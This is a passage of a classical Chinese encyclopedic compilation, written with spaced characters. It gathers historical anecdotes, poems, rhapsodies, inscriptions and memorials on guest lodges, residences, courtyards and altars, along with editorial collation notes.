. 干 坤 是 承 .\n周 礼 曰 . 五 十 里 有 市 . 市 有 候 馆 . 候 馆 有 积 . 以 待 朝 聘 之 官 也 .\n战 国 策 曰 . 燕 昭 王 见 郭 隗 曰 . 齐 因 孤 国 之 乱 . 而 袭 破 燕 . 对 曰 . 帝 者 与 师 处 . 王 者 与 友 处 . 古 者 人 君 . 以 千 金 求 千 里 马 者 . 三 年 不 得 . 涓 人 请 求 之 . 三 月 . 得 千 里 马 . 马 已 死 . 买 其 首 五 百 金 . 反 以 报 君 . 君 大 怒 . 对 曰 . 死 马 尚 市 . 况 生 马 乎 . 期 年 . 千 里 马 至 者 二 . 王 欲 士 . 先 从 隗 . 隗 且 见 事 . 况 贤 于 隗 者 乎 . 昭 王 乃 筑 馆 而 师 之 . 乐 毅 邹 衍 剧 辛 . 皆 争 走 燕 . 遂 以 破 齐 .\n汉 书 曰 . 元 帝 幸 长 杨 射 熊 馆 . 布 车 骑 大 猎 . 扬 雄 作 赋 以 谏 .\n又 曰 . 公 孙 弘 起 徒 步 . 数 十 年 至 宰 相 . 封 侯 . 于 是 起 客 馆 . 开 东 合 . 以 延 贤 人 . 与 参 谋 议 . 弘 身 食 一 肉 脱 粟 之 饭 . 故 人 宾 客 仰 衣 食 . 俸 禄 皆 以 给 之 . 家 无 所 余 . 弘 年 八 十 终 . 后 李 蔡 严 青 翟 赵 周 石 庆 公 孙 贺 刘 屈 牦 . 继 踵 为 丞 相 者 . 客 馆 丘 墟 而 已 . 至 贺 屈 牦 时 . 坏 已 为 马 厩 车 库 奴 婢 室 矣 .\n魏 志 曰 . 管 宁 . 字 幼 安 . 与 同 县 邴 原 相 友 . 俱 游 学 于 异 国 . 闻 公 孙 度 令 行 于 海 外 . 遂 与 平 原 王 烈 等 . 至 于 辽 东 . 度 虚 馆 以 候 之 .\n世 说 曰 . 魏 明 帝 为 外 祖 母 筑 馆 于 甄 氏 . 既 成 . 谓 左 右 曰 . 馆 当 何 以 为 名 . 侍 中 缪 袭 曰 . 陛 下 圣 思 齐 于 哲 王 . 罔 极 过 于 曾 闵 . 此 馆 之 兴 . 情 钟 舅 氏 . 宜 以 渭 阳 之 名 .\n荆 州 图 副 曰 . 襄 阳 县 南 有 桃 林 馆 . 是 则 饯 行 送 归 之 所 萃 也 .\n【 诗 】 晋 袁 宏 拟 古 诗 曰 . 高 馆 百 余 仞 . 迢 递 虚 中 亭 . 文 幌 曜 琼 扇 . 碧 疏 映 绮 棂 .\n【 赋 】 晋 张 协 玄 武 馆 赋 曰 . 尔 乃 地 势 夷 敞 . 既 膏 且 腴 . 环 以 翠 林 . 带 以 赤 渠 . 寻 厥 先 之 攸 基 . 寔 张 氏 之 旧 墟 . 何 魏 后 之 周 览 . 遂 筑 馆 而 起 庐 . 既 号 玄 武 . 是 曰 石 楼 . 于 是 崇 墉 四 匝 . 丰 厦 诡 谲 . 烂 若 丹 霞 . 皎 如 素 雪 . 璀 璨 皓 ● . 华 珰 四 垂 . 接 栋 连 阿 . 崥 嶱 参 差 . 朱 户 青 铺 . 幽 闼 秘 闺 . 于 是 高 楼 特 起 . 竦 峙 岧 峣 . 飞 甍 四 注 . 上 概 浮 霄 . 直 亭 亭 以 孤 立 . 迎 千 里 之 清 飙 . 阳 扉 南 启 . 阴 轩 北 达 . 春 牖 左 开 . 秋 窗 右 豁 . 仰 视 云 根 . 俯 临 天 末 . 木 则 楸 梓 夹 路 . 蓊 蔚 如 林 . 洪 干 十 围 . 脩 枝 百 寻 .\n晋 潘 尼 东 武 馆 赋 曰 . 东 武 馆 者 . 盖 东 武 阳 侯 之 馆 也 . 嘉 大 雅 之 弘 操 . 美 明 哲 之 保 身 . 惩 都 邑 之 迫 险 . 餍 里 巷 之 嚣 尘 . 慕 古 公 之 胥 宇 . 羡 孟 氏 之 审 邻 . 将 迁 居 于 爽 垲 . 乃 投 迹 于 里 仁 . 前 则 行 旅 四 凑 . 通 衢 交 会 . 水 泛 轻 舟 . 陆 方 羽 盖 . 后 则 崇 山 崔 嵬 . 茂 林 幽 蔼 . 弥 望 远 览 . 滉 瀁 夷 泰 . 表 里 山 河 . 出 入 襟 带 . 若 乃 潜 流 旁 注 . 飞 渠 脉 散 . 芙 蓉 映 渚 . 灵 芝 蔽 岸 . 于 是 逍 遥 灵 沼 . 游 豫 华 林 . 弯 弓 抚 弹 . 娱 志 荡 心 . 括 不 空 纵 . 纶 不 苟 沉 . 游 鳞 双 跃 . 落 羽 相 寻 . 膳 夫 进 俎 . 虞 人 献 鲜 . 春 醴 九 酝 . 嘉 豆 百 笾 . 随 波 溯 流 . 乍 往 乍 旋 .\n【 铭 】 后 汉 李 尤 高 安 馆 铭 曰 . 巍 巍 高 安 . 明 圣 是 修 . 嶕 峣 丽 馆 . 窗 闼 列 周 . 长 除 临 起 . 棂 槛 相 承 . 圣 朝 明 察 . 同 保 休 征 .\n又 平 乐 馆 铭 曰 . 乃 兴 平 乐 . 弘 敞 丽 光 . 层 楼 通 阁 . 禁\n闼 洞 房 . 棼 梁 照 曜 . 朱 华 饰 珰 . 骋 武 舒 秘 . 以 示 幽 荒 .\n加 荣 普 覆 . 然 后 来 王 .\n汉 书 曰 . 萧 何 买 田 宅 . 必 居 穷 僻 处 . 不 治 垣 舍 . 曰 . 令 后 世 贤 . 师 吾 俭 . 不 贤 . 无 为 势 家 所 夺 . 又 曰 . 鲁 共 王 坏 孔 子 旧 宅 . 以 广 宫 室 . 闻 钟 磬 琴 瑟 之 声 . 遂 不 敢 坏 . 复 于 其 壁 中 得 古 经 传 .\n续 汉 书 曰 . 吴 汉 尝 出 征 . 妻 子 在 后 买 田 业 . 汉 还 . 让 之 曰 . 军 师 在 外 . 吏 士 不 足 . 何 多 买 田 宅 乎 . 遂 尽 分 以 与 昆 弟 外 家 .\n裴 楷 别 传 曰 . 楷 营 新 宅 . 基 宇 甚 丽 . 当 移 住 . 与 兄 共 游 行 . 床 帐 俨 然 . 棂 轩 疏 朗 . 兄 心 甚 愿 之 . 而 口 不 言 . 楷 心 知 其 意 . 便 使 兄 住 .\n王 隐 晋 书 曰 . 魏 舒 少 孤 为 外 家 宁 氏 所 养 . 宁 起 宅 . 相 者 云 . 当 出 贵 外 生 . 舒 曰 . 当 为 外 家 成 此 宅 相 .\n汉 旧 仪 曰 . 高 皇 帝 家 在 丰 中 阳 里 . 为 沛 泗 上 亭 长 . 及 为 天 子 . 立 沛 庙 . 祠 丰 故 宅 .\n风 俗 通 曰 . 宅 不 西 益 . 俗 说 西 者 为 上 . 上 益 宅 者 . 妨 家 长 也 . 原 其 所 以 西 益 者 . 礼 记 曰 . 南 向 北 向 . 西 方 为 上 . 尔 雅 曰 . 西 南 隅 谓 之 奥 . 尊 长 之 处 也 . 不 西 益 者 . 难 动 摇 之 尔 . 审 西 益 有 害 . 增 广 三 面 . 岂 能 独 吉 乎 .\n三 辅 决 录 曰 . 郭 详 为 太 尉 长 史 . 起 大 宅 . 在 高 陵 城 西 . 世 称 曰 长 史 宅 .\n吴 志 曰 . 周 瑜 与 孙 策 同 年 . 相 友 善 . 瑜 推 道 南 大 宅 以 舍 策 . 升 堂 拜 母 . 有 无 通 共 .\n又 曰 . 陈 表 家 财 . 尽 于 养 士 . 死 之 日 . 妻 子 露 立 . 太 子 登 为 起 居 宅 .\n娄 承 先 传 曰 . 娄 玄 到 广 州 . 遂 徘 徊 踯 躅 于 仲 翔 宅 故 处 . 哀 咽 凄 怆 . 不 能 自 胜 .\n搜 神 记 曰 . 魏 郡 张 本 富 . 忽 衰 死 财 散 . 卖 宅 与 程 应 . 应 举 家 疾 病 . 卖 与 何 文 . 文 先 独 持 大 刀 . 暮 入 北 堂 梁 上 . 一 更 中 . 有 一 人 长 丈 余 . 高 冠 赤 帻 . 呼 曰 . 细 腰 . 细 腰 应 诺 . 何 以 有 人 气 . 答 无 . 便 去 . 文 因 呼 细 腰 . 问 向 赤 衣 冠 是 谁 . 答 曰 金 也 . 在 西 壁 下 . 问 君 是 谁 . 答 云 . 我 杵 也 . 今 在 灶 下 . 文 掘 得 金 三 百 斤 . 烧 去 杵 . 由 此 大 富 . 宅 遂 清 宁 .\n□ □ ○ 太 平 御 览 一 百 八 十 作 抱 朴 . 子 曰 . 葛 庐 有 大 功 . 受 爵 . 立 宅 舍 于 博 望 里 . 于 今 基 兆 石 础 在 焉 .\n又 曰 . 临 汜 ○ 太 平 御 览 九 百 八 十 五 作 沅 . 县 有 廖 氏 . 世 老 寿 . 后 移 . 子 孙 辄 残 折 . 他 人 居 其 故 宅 . 复 累 世 寿 . 乃 知 是 宅 所 为 . 不 知 其 何 故 . 疑 井 水 赤 . 乃 掘 井 左 右 . 得 古 人 埋 丹 沙 数 十 斛 . 丹 汁 入 井 . 是 以 饮 水 而 得 寿 .\n襄 阳 记 曰 . 李 衡 每 欲 治 家 . 妻 辄 不 听 . 后 密 遣 客 十 人 . 于 武 陵 龙 阳 洲 上 作 宅 . 种 橘 千 树 . 临 死 . 儿 曰 . 汝 母 每 恶 吾 治 家 . 故 穷 如 是 . 吾 州 里 有 千 头 木 奴 . 不 用 汝 衣 食 . 岁 上 一 匹 绢 . 亦 当 足 用 尔 . 亡 后 二 十 余 日 . 儿 白 母 . 母 曰 . 此 当 种 柑 橘 也 . 汝 家 失 十 户 客 七 八 年 . 必 汝 父 遣 为 宅 . 晋 咸 康 中 . 其 宅 上 枯 树 犹 存 .\n范 汪 荆 州 记 曰 . 宛 有 三 女 楼 . 作 子 胥 宅 .\n又 曰 . 义 阳 六 县 安 昌 里 . 有 光 武 宅 . 枕 白 水 陂 . 所 谓 龙 飞 白 水 也 .\n庾 仲 雍 荆 州 记 曰 . 秭 归 县 有 屈 原 宅 伍 胥 庙 . 捣 衣 石 犹 存 .\n赖 乡 记 曰 . 老 子 祠 在 赖 乡 曲 仁 里 . 谯 城 西 出 五 十 里 . 老 子 平 生 时 . 教 化 学 仙 故 处 也 . 汉 桓 帝 修 建 屋 宇 . 为 老 子 庙 . 庙 北 二 里 . 李 夫 人 祠 . 是 老 子 旧 生 宅 也 .\n刘 桢 京 口 记 曰 . 糖 颓 山 . 山 周 回 二 里 余 . 山 南 隅 . 隔 路 得 郤 鉴 故 宅 . 五 十 余 亩 .\n戴 延 之 西 京 记 曰 . 东 阳 门 外 道 北 . 吴 蜀 二 主 第 宅 . 去 城 二 里 . 墟 墓 犹 存 .\n又 曰 . 潼 关 北 去 蒲 阪 城 六 十 里 . 中 有 舜 庙 . 城 外 有 宅 井 . 及 二 妃 坛 . 南 去 城 二 十 里 . 有 山 . 舜 所 耕 山 . 上 亦 有 山 .\n述 征 记 曰 . 丰 圻 . 丰 水 西 九 十 里 . 有 汉 高 祖 宅 .\n又 曰 . 山 阳 县 城 东 北 二 十 里 . 魏 中 散 大 夫 嵇 康 园 宅 . 今 悉 为 田 墟 . 而 父 老 犹 谓 嵇 公 竹 林 地 . 以 时 有 遗 竹 也 .\n盛 弘 之 荆 州 记 曰 . 新 野 郡 西 七 里 . 有 梅 溪 . 源 出 紫 山 . 南 流 注 淯 . 故 老 传 溪 西 有 百 里 奚 宅 .\n【 诗 】 齐 竟 陵 王 萧 子 良 行 宅 诗 曰 . 余 禀 性 端 疏 . 属 爱 闲 外 . 往 岁 羁 役 浙 东 . 备 历 江 山 之 羡 . 名 都 胜 境 . 极 尽 登 临 . 山 原 石 道 . 步 步 新 情 . 回 池 绝 涧 . 往 往 旧 识 . 以 吟 以 咏 . 聊 用 述 心 . 访 宇 北 山 阿 . 卜 居 西 野 外 . 幼 赏 悦 禽 鱼 . 早 性 羡 蓬 艾 .\n陈 江 总 岁 暮 还 宅 诗 曰 . 悒 然 想 泉 石 . 驱 驾 出 城 台 . 玩 竹 春 前 笋 . 惊 花 雪 后 梅 . 青 山 殊 可 对 . 黄 卷 复 时 开 . 长 绳 岂 系 日 . 浊 酒 倾 一 杯 .\n又 南 还 寻 草 市 宅 诗 曰 . 红 颜 辞 巩 洛 . 白 首 入 轘 辕 . 乘 春 还 故 里 . 徐 步 采 芳 荪 . 径 毁 悲 嵇 仲 . 林 残 忆 巨 原 . 见 桐 犹 识 井 . 看 柳 尚 知 门 . 花 落 空 难 遍 . 鹦 啼 静 易 喧 . 无 人 访 语 默 . 何 处 叙 寒 温 . 百 年 独 如 此 . 伤 心 岂 复 论 .\n【 赋 】 魏 陈 王 曹 植 闲 居 赋 曰 . 何 吾 人 而 介 特 . 去 朋 匹 而 无 俦 . 出 靡 时 以 娱 志 . 入 无 乐 以 销 忧 . 何 岁 月 之 若 骛 . 复 民 生 之 无 常 . 感 阳 春 之 发 节 . 聊 轻 驾 而 远 翔 . 登 高 丘 以 延 企 . 时 薄 暮 而 起 予 . 仰 归 云 以 载 奔 . 过 兰 蕙 之 长 圃 . 冀 芬 芳 之 可 服 . 结 春 蘅 以 延 伫 . 入 虚 廓 之 闲 馆 . 步 生 风 之 广 庑 . 践 密 迩 之 脩 除 . 即 蔽 景 之 玄 宇 . 翡 鸟 翔 于 南 枝 . 玄 鹤 鸣 于 北 野 . 青 鱼 跃 于 东 沼 . 白 鸟 戏 于 西 渚 . 遂 乃 背 通 谷 . 对 绿 波 . 藉 文 茵 . 翳 春 华 . 丹 毂 更 驰 . 羽 骑 相 过 .\n晋 潘 岳 闲 居 赋 曰 . 岳 读 汲 黯 传 . 至 司 马 安 四 至 九 卿 . 而 良 史 书 之 . 题 以 巧 宦 之 目 . 未 曾 不 慨 然 废 书 而 叹 曰 . 嗟 乎 . 巧 诚 有 之 . 拙 亦 宜 然 . 于 是 览 止 足 之 分 . 庶 浮 云 之 志 . 池 沼 足 以 渔 钓 . 舂 税 足 以 代 耕 . 灌 园 鬻 蔬 . 供 朝 夕 之 膳 . 牧 羊 酤 酪 . 俟 伏 之 费 . 此 亦 拙 者 之 为 政 也 . 乃 作 闲 居 之 赋 . 于 是 退 而 闲 居 洛 水 之 涘 . 身 齐 逸 民 . 名 缀 下 士 . 背 京 溯 伊 . 面 郊 后 市 . 浮 梁 黝 以 径 度 . 灵 台 桀 而 高 峙 . 窥 天 文 之 秘 奥 . 究 人 事 之 终 始 . 爰 定 我 居 . 筑 室 穿 池 . 长 杨 映 沼 . 芳 枳 树 篱 . 游 鳞 瀺 灂 . 菡 萏 敷 披 . 竹 木 蓊 郁 . 灵 果 参 差 . 张 公 大 谷 之 梨 . 梁 侯 乌 椑 之 柿 . 周 文 弱 枝 之 枣 . 房 陵 朱 仲 之 李 . 靡 不 毕 植 . 三 桃 表 樱 胡 之 别 . 二 柰 曜 丹 白 之 色 . 石 榴 蒲 萄 之 珍 . 磊 落 漫 衍 乎 其 侧 . 梅 杏 郁 棣 之 属 . 繁 荣 藻 丽 之 饰 . 华 实 照 烂 . 言 所 . 不 能 极 也 . 菜 则 葱 蒜 芋 . 青 紫 姜 . 蘘 荷 依 荫 . 时 藿 向 阳 . 绿 葵 含 露 . 白 薤 负 霜 . 柳 垂 阴 . 车 结 轨 . 陆 摘 紫 房 . 水 挂 赪 鲤 . 或 宴 于 林 . 或 禊 于 汜 .\n晋 庾 阐 闲 居 赋 曰 . 于 是 宅 邻 京 郊 . 宇 接 华 郭 . 聿 来 忘 怀 . 兹 焉 是 托 . 鸟 栖 庭 林 . 燕 巢 子 幕 . 既 乃 青 阳 结 荫 . 木 瑾 开 荣 . 森 条 霜 重 . 绿 叶 云 倾 . 阴 兴 则 暑 退 . 风 来 则 气 清 . 前 临 塘 中 . 眇 目 长 洲 . 晨 渠 吐 溜 . 归 潮 夕 流 . 顾 有 崇 台 高 观 . 凌 虚 远 游 . 若 夫 左 瞻 天 宫 . 右 盻 西 岳 . 甍 飞 彤 素 . 岭 敷 翠 绿 . 朝 霞 时 清 . 沧 浪 靡 浊 . 黄 绮 洁 其 云 栖 . 渔 父 欣 其 濯 足 . 至 于 体 散 玄 风 . 神 陶 妙 象 . 静 因 虚 来 . 动 率 化 往 . 萧 然 忘 览 . 豁 尔 遗 想 . 荣 悴 靡 期 . 孰 测 幽 朗 . 故 细 无 形 骸 之 狭 . 巨 非 天 地 之 广 . 音 兴 于 万 韵 . 理 绝 乎 一 响 .\n晋 束 皙 近 游 赋 曰 . 世 有 逸 民 . 在 乎 田 畴 . 宅 弥 五 亩 . 志 狭 九 州 . 安 穷 赋 于 下 里 . 寞 玄 淡 而 无 求 . 乘 荜 辂 之 偃 蹇 . 驾 兰 单 之 疲 牛 . 连 捶 索 以 为 鞅 . 结 断 梗 而 作 秋 . 攀 荜 门 而 高 蹈 . 朅 徘 徊 而 近 游 . 井 则 两 家 共 一 . 园 必 去 舍 百 步 . 贯 鸡 ● 于 岁 首 . 收 ● ● 于 牣 互 . 其 男 女 服 饰 . 衣 裳 之 制 . 名 号 诡 异 随 迭 . 设 系 襦 以 御 冬 . 胁 汗 衫 以 当 热 . 帽 引 四 角 之 缝 . 裙 为 素 条 之 杀 . 书 儿 啼 于 客 堂 . 设 杜 门 以 避 吏 . 妇 皆 卿 夫 . 子 呼 父 字 . 及 至 三 农 间 隙 . 遘 结 婚 姻 . 老 公 戴 合 欢 之 帽 . 少 年 着 蕞 角 之 巾 .\n梁 沈 约 郊 居 赋 曰 . 惟 至 人 之 非 己 . 固 物 我 而 自 忘 . 自 中 智 以 下 愚 . 咸 得 性 以 为 场 . 伊 吾 人 之 褊 志 . 无 经 世 之 大 方 . 思 依 林 而 羽 戢 . 愿 托 水 而 鳞 藏 . 值 龙 颜 之 郁 起 . 乃 凭 风 而 矫 翼 . 指 皇 邑 而 南 辕 . 驾 脩 衢 以 骋 力 . 余 平 生 而 耿 介 . 实 有 心 于 独 往 . 思 幽 人 而 轸 念 . 望 东 皋 而 长 想 . 本 忘 情 于 徇 物 . 徒 羁 绁 于 人 壤 . 应 属 叹 于 牵 幽 . 陆 兴 言 于 世 网 . 尔 乃 傍 穷 野 . 指 荒 郊 . 编 霜 菼 . 葺 寒 茅 . 构 栖 噪 之 所 集 . 筑 町 之 所 交 . 因 犯 檐 而 刊 树 . 由 妨 基 而 翦 巢 . 织 宿 楚 而 成 门 . 藉 外 靡 而 为 户 . 既 取 阴 于 庭 樾 . 又 因 篱 于 芳 杜 . 草 则 苹 萍 芡 芰 . 菁 藻 蒹 菰 . 石 衣 海 发 . 黄 荇 绿 蒲 . 动 红 荷 于 轻 浪 . 覆 碧 叶 于 澄 湖 . 其 陆 卉 则 紫 ● 绿 葹 . 天 菁 山 韭 . 雁 齿 鹿 舌 . 牛 唇 彘 肩 . 若 乃 园 宅 殊 制 . 田 圃 异 区 . 李 衡 则 橘 林 千 树 . 石 崇 则 杂 果 万 株 . 并 豪 情 之 所 侈 . 非 俭 志 之 所 娱 . 欲 令 纷 披 蓊 郁 . 吐 绿 攒 朱 . 开 丹 房 以 四 照 . 舒 翠 叶 而 九 衢 . 其 林 鸟 则 翻 泊 颉 颃 . 遗 音 下 上 . 楚 雀 多 名 . 流 鹦 杂 响 . 或 班 尾 而 绮 翼 . 或 绿 衿 而 绛 颡 . 好 叶 隐 而 枝 藏 . 乍 闲 关 而 来 往 . 其 水 禽 则 大 鸿 小 雁 . 天 驹 泽 虞 . 秋 鹥 寒 ● . 修 鹢 短 凫 . 翅 碎 流 而 起 沫 . 翼 鼓 浪 而 成 珠 . 其 鱼 则 赤 鲤 青 鲂 . 纤 鯈 巨 . 碧 鳞 朱 尾 . 脩 颅 偃 . 小 则 戏 渚 成 文 . 大 则 喷 流 杨 白 . 惟 钟 岩 之 隐 郁 . 表 皇 都 而 作 峻 . 盖 望 秩 之 所 宗 . 含 风 云 而 起 润 . 孤 横 插 . 洞 穴 斜 经 . 千 丈 万 仞 . 三 袭 九 成 . 亘 绕 州 邑 . 款 跨 郊 坰 . 素 烟 晚 带 . 白 雾 晨 萦 . 近 循 则 一 岩 异 色 . 远 望 则 百 岭 俱 青 . 时 言 归 于 陋 宇 . 聊 暇 日 以 翱 翔 . 兽 依 庭 而 莫 骇 . 鱼 何 沼 而 不 纲 . 晚 树 开 花 . 初 英 落 橤 . 异 林 而 分 丹 素 . 因 风 而 杂 红 紫 . 紫 莲 夜 发 . 红 荷 晓 舒 . 轻 风 微 动 . 芬 芳 袭 余 . 冰 悬 陷 而 带 坻 . 雪 萦 松 而 被 野 . 鸭 屯 飞 而 不 散 . 雁 高 翔 而 欲 下 . 伤 余 情 之 颓 暮 . 忧 与 愁 其 相 溢 . 悲 异 轸 而 同 归 . 欢 殊 方 而 并 失 . 时 复 托 情 鱼 鸟 . 归 闲 蓬 荜 . 旁 阙 吴 娃 . 前 无 赵 瑟 . 唯 以 天 地 之 恩 不 报 . 书 事 之 官 不 述 . 徒 重 于 高 门 之 地 . 不 载 于 良 史 之 笔 . 长 太 息 以 何 言 . 羞 愧 心 之 非 一 .\n【 铭 】 晋 习 凿 齿 诸 葛 武 侯 宅 铭 曰 . 达 人 有 作 . 振 此 颓 风 . 雕 薄 蔚 采 . 鸱 阑 惟 丰 . 义 范 苍 生 . 道 格 时 雄 . 自 昔 爰 止 . 于 焉 盘 桓 . 躬 耕 西 亩 . 永 啸 东 峦 . 迹 逸 中 林 . 神 凝 岩 端 . 罔 窥 其 奥 . 谁 测 斯 欢 . 堂 堂 伟 匠 . 婉 翮 扬 朝 . 倾 岩 搜 宝 . 高 罗 九 霄 . 庆 云 集 矣 . 鸾 驾 亦 招 .\n【 启 】 梁 元 帝 谢 赐 第 启 曰 . 窃 以 汉 赐 五 伦 . 寔 云 清 吏 . 魏 宠 卫 臻 . 用 旌 庸 直 . 未 如 灵 光 轮 奂 . 睢 阳 爽 垲 . 北 连 城 阙 . 有 似 甄 侯 之 舍 . 东 望 市 . 荣 深 豫 章 之 圃 . 昔 狼 望 未 平 . 冠 军 辞 宅 . 马 池 犹 隔 . 雍 丘 让 邸 . 臣 惭 霍 曹 远 志 . 但 识 君 命 无 违 . 再 思 庸 陋 . 九 殒 非 答 .\n梁 刘 孝 仪 为 王 仪 同 谢 宅 启 曰 . 昔 晏 婴 湫 隘 . 齐 景 营 其 爽 垲 . 孙 历 无 家 . 晋 武 为 之 筑 馆 . 或 功 高 千 载 . 德 重 一 时 . 故 蒙 考 室 之 荣 . 以 降 葺 宇 之 泽 . 并 辞 而 处 . 传 芳 前 载 . 臣 才 愧 昔 人 . 恩 同 往 哲 . 岂 宜 妄 荷 . 重 增 疵 愆 . 但 匈 奴 未 灭 . 遽 当 轮 奂 之 美 . 环 堵 为 室 . 遂 得 歌 哭 于 斯 .\n又 为 武 陵 王 谢 赐 第 启 曰 . 窃 以 南 望 朱 鸟 . 北 距 苍 龙 . 右 带 御 沟 . 左 回 青 路 . 毕 晏 婴 之 湫 隘 . 同 潘 岳 之 闲 居 . 臣 幼 自 宫 掖 . 长 游 城 府 . 虽 轮 奂 之 美 多 门 . 而 馆 第 之 私 未 暇 . 今 轻 舟 将 反 . 高 门 遽 锡 . 遂 葺 宇 筑 室 . 百 堵 皆 兴 . 云 屋 连 甍 . 一 朝 弘 敞 .\n梁 庾 肩 吾 谢 东 宫 赐 宅 启 曰 . 肩 吾 居 异 道 南 . 才 非 巷 北 . 流 寓 建 春 之 外 . 寄 息 灵 台 之 下 . 岂 望 地 无 湫 隘 . 里 号 乘 轩 . 巷 转 幡 旗 . 门 容 幰 盖 . 况 乃 交 垂 五 柳 . 若 元 亮 之 居 . 夹 石 双 槐 . 似 安 仁 之 县 . 却 瞻 钟 阜 . 前 枕 洛 桥 . 池 通 西 舍 之 流 . 窗 映 东 邻 之 枣 . 来 归 高 里 . 翻 成 侍 封 之 门 . 夜 坐 书 台 . 非 复 通 灯 之 壁 . 才 下 应 王 . 礼 加 温 阮 . 官 成 名 立 . 无 事 非 恩 .\n【 表 】 晋 陆 云 闻 起 西 园 第 宜 遵 节 俭 之 制 表 曰 . 臣 闻 有 国 者 . 不 患 宫 室 之 不 崇 . 患 在 令 名 之 不 立 . 是 以 贤 人 之 在 富 贵 . 莫 不 卑 身 节 欲 . 损 己 挹 情 . 用 能 保 其 国 家 . 令 闻 百 世 . 历 观 古 今 . 以 约 失 之 者 实 寡 . 以 奢 失 之 者 盖 多 . 世 祖 武 皇 帝 . 富 有 四 海 . 贵 为 天 子 . 居 无 离 宫 之 馆 . 身 御 家 人 之 服 . 先 帝 岂 欲 以 此 道 止 于 治 身 而 已 者 哉 . 固 将 必 欲 遗 训 百 世 . 贻 燕 子 孙 . 此 固 殿 下 所 宜 祗 奉 也 .\n【 议 】 晋 潘 岳 上 客 舍 议 曰 . 谨 按 客 舍 逆 旅 之 设 . 其 所\n由 来 远 也 . 行 者 赖 以 顿 止 . 居 者 薄 收 其 直 . 交 易 贸 迁 .\n各 得 其 所 . 因 民 成 利 . 惠 加 百 姓 . 语 曰 . 许 由 辞 帝 尧 之\n命 . 而 舍 于 逆 旅 . 外 传 曰 . 晋 阳 处 父 . 遇 宁 戚 于 逆 旅 .\n魏 武 帝 亦 以 为 宜 . 其 诗 曰 . 逆 旅 整 设 . 以 通 商 贾 . 然 则\n自 唐 到 于 今 . 未 有 不 得 客 舍 之 法 . 唯 商 鞅 有 之 . 此 固 非\n圣 世 之 所 言 也 . 方 今 四 海 会 同 . 九 服 纳 贡 . 八 方 翼 翼 .\n公 私 满 路 . 近 畿 入 辏 . 客 舍 亦 稠 . 刍 秣 成 行 . 器 用 取 给\n. 又 诸 劫 盗 . 皆 起 于 迥 绝 . 而 止 乎 人 众 . 十 里 萧 条 . 则\n奸 宄 生 心 . 连 陌 接 馆 . 则 寇 情 震 慑 . 且 闻 声 有 救 . ○\n原 讹 赦 . 据 冯 校 本 改 . 已 发 有 追 . 不 救 有 罪 . 不 追\n有 戮 . 禁 暴 捕 亡 . 恒 有 司 存 . 凡 此 皆 客 舍 之 益 . 道 路 之\n要 . 奸 吏 所 植 也 . 率 历 代 之 旧 俗 . 获 行 留 之 欢 心 . 使 客\n舍 洒 扫 以 待 . 征 旅 择 家 而 息 . 岂 非 众 庶 颙 颙 之 望 .\n罗 含 别 传 曰 . 含 致 仕 还 家 . 庭 中 忽 自 生 兰 . 此 德 行 幽 感 之 应 .\n语 林 曰 . 谢 太 傅 问 诸 子 侄 曰 . 子 弟 何 豫 人 事 . 正 欲 使 其 佳 . ○ 原 讹 往 . 据 冯 校 本 改 . 诸 人 莫 有 言 . 车 骑 答 曰 . 譬 如 芝 兰 玉 树 . 欲 使 其 生 庭 阶 也 .\n【 赋 】 陈 沈 炯 幽 庭 赋 曰 . 矧 幽 庭 之 闲 趣 . 具 春 物 之 芳\n华 . 转 洞 房 而 引 景 . 偃 飞 阁 而 藏 霞 . 筑 山 川 于 户 牖 . 带\n林 苑 于 东 家 . 草 纤 纤 而 垂 绿 . 树 搔 搔 而 落 花 . 于 是 秦 人\n清 歌 . 赵 女 鼓 筑 . 嗟 光 景 之 迟 暮 . 咏 群 飞 之 栖 宿 . 顾 留\n情 于 君 子 . 岂 含 姿 于 娇 淑 . 于 是 起 而 长 谣 曰 . 故 年 花 落\n今 复 新 . 新 年 一 故 成 故 人 . 那 得 长 绳 系 落 日 . 年 年 月 月\n但 如 春 .\n庄 子 曰 . 孔 子 游 乎 淄 帷 之 林 . 休 坐 于 杏 坛 之 上 . 弟 子 读 书 . 孔 子 弦 歌 鼓 琴 . 奏 曲 未 终 . 有 渔 父 者 . 下 舡 而 来 . 左 手 据 膝 . 右 手 持 颐 以 听 . 曲 终 而 招 子 贡 子 路 二 人 俱 对 . 客 指 孔 子 曰 . 彼 何 为 者 . 子 路 曰 . 鲁 之 君 子 也 .\n新 序 曰 . 秦 欲 伐 楚 . 使 者 往 观 楚 王 之 宝 器 . 楚 王 闻 之 . 召 昭 奚 恤 问 焉 . 恤 对 曰 . 此 观 吾 国 之 得 失 而 图 之 . 宝 器 ○ 太 平 御 览 六 百 二 十 一 器 下 有 在 字 . 于 贤 臣 . 夫 珠 玉 玩 好 之 物 . 非 国 之 重 宝 也 . 遂 使 恤 发 精 兵 三 百 人 . 陈 于 西 门 之 内 . 为 东 面 之 坛 一 . 为 西 面 之 坛 一 . 秦 使 者 至 . 恤 曰 . 贵 客 也 . 请 就 上 位 .\n徐 灵 期 南 岳 记 曰 . 南 岳 山 上 有 飞 坛 . 悬 水 激 石 . 飞 湍 百 仞 . 即 孙 温 伯 所 丧 身 处 也 . 又 有 曲 水 坛 . 水 行 石 上 . 成 沟 渎 . 如 世 人 临 河 坛 也 . 三 月 三 日 . 时 来 逍 遥 . 梁 州 记 曰 . 沔 阳 城 . 先 沔 阳 县 所 治 也 . 在 汉 水 南 . 旧 萧 何 所 筑 也 . 刘 备 为 汉 王 . 权 住 此 城 . 盟 于 城 下 . 今 门 外 有 盟 坛 犹 存 .\n【 铭 】 周 庾 信 尧 登 坛 铭 曰 . 登 坛 洛 汭 . 沉 玉 河 湄 . 丹\n图 驭 马 . 练 甲 乘 龟 . 荣 光 上 幕 . 休 气 连 帷 . 虽 存 尧 让 .\n终 见 文 思 .\n老 子 曰 . 凿 户 牖 以 为 室 . 当 其 无 . 有 室 之 用 .\n楚 辞 九 歌 曰 . 糜 何 食 兮 庭 中 . 蛟 . 何 为 兮 水 裔 . 朝 驰 余 马 兮 江 皋 . 夕 济 兮 西 澨 . 闻 佳 人 兮 召 余 . 将 腾 驾 兮 皆 逝 . 筑 室 兮 水 中 . 葺 之 兮 以 荷 盖 .\n管 子 曰 . 尧 有 衢 室 之 问 者 . 下 听 于 民 也 .\n晏 子 曰 . 景 公 谓 晏 子 曰 . 寡 人 欲 朝 夕 相 见 . 为 夫 子 筑 室 于 闺 内 . 可 乎 . 对 曰 . 臣 闻 之 . 隐 而 显 . 近 而 结 . 唯 至 贤 耳 . 如 臣 者 . 饰 其 容 止 以 待 命 . 犹 恐 罪 戾 也 . 今 君 近 之 . 是 远 之 